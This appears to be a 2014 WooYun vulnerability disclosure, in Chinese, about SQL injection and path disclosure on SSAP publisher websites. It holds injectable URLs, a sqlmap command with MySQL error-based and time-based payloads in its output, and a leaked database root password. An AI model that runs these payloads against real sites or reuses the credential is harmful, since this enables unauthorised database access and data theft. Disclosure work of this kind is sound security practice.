当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-078231

漏洞标题:社会科学文献出版社漏洞大礼包~

相关厂商:ssap.com.cn

漏洞作者: 郭斯特

提交时间:2014-10-07 22:27

修复时间:2014-11-21 22:30

公开时间:2014-11-21 22:30

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-07: 细节已通知厂商并且等待厂商处理中
2014-10-08: 厂商已经确认,细节仅向厂商公开
2014-10-18: 细节向核心白帽子及相关领域专家公开
2014-10-28: 细节向普通白帽子公开
2014-11-07: 细节向实习白帽子公开
2014-11-21: 细节向公众公开

简要描述:

RT

详细说明:

1.爆物理路径
http://www.jiuhu.com/message/login (与主站www.pishu.com.cn在同一服务器,容易猜出主站的物理路径~)

wooyun.png


还有以下这2个也爆出
http://books.ssap.com.cn/MallStore/Store_Periodical.aspx?bookclass=449%27
http://books.ssap.com.cn/MallStore/Store_Periodical.aspx?bookclass=449%27

漏洞证明:

2.sql注射
http://www.pishu.com.cn/skwx_ps/WikiTypeListSiteID=14&Type=Relative&RelativeIDs=%27
权限很大root & dba
账号:root

密码:ssap5936
但不支持外联~good~
586个表
[18:02:53] [INFO] the SQL query used returns 586 entries

wooyun.png


E:\Users\ghost\Desktop\sqlmap>sqlmap.py -u "http://www.pishu.com.cn/skwx_ps/Wiki
TypeList?SiteID=14&Type=Relative&RelativeIDs=" --current-user
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 19:30:47
[19:30:47] [INFO] resuming back-end DBMS 'mysql'
[19:30:47] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: RelativeIDs
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE or HAVING clause
Payload: SiteID=14&Type=Relative&RelativeIDs=-8916) OR (SELECT 9112 FROM(SEL
ECT COUNT(*),CONCAT(0x3a6f66723a,(SELECT (CASE WHEN (9112=9112) THEN 1 ELSE 0 EN
D)),0x3a61787a3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP
BY x)a) AND (8248=8248
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 OR time-based blind
Payload: SiteID=14&Type=Relative&RelativeIDs=-1062) OR 6289=SLEEP(5) AND (60
19=6019
---
[19:30:50] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, JSP
back-end DBMS: MySQL 5.0
[19:30:50] [INFO] fetching current user
[19:30:56] [INFO] resumed: root@%
current user: 'root@%'
[19:30:56] [INFO] fetched data logged to text files under 'E:\Users\ghost\Deskto
p\sqlmap\output\www.pishu.com.cn'
[*] shutting down at 19:30:56
E:\Users\ghost\Desktop\sqlmap>
另外一个注射:
http://books.ssap.com.cn/MallStore/Store_Periodical.aspx?bookclass=449‘

wooyun.png


不深入~

修复方案:

过滤上面的参数 ~
Could you give me a gift?~

版权声明:转载请注明来源 郭斯特@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-10-08 08:30

厂商回复:

非常感谢!

最新状态:

暂无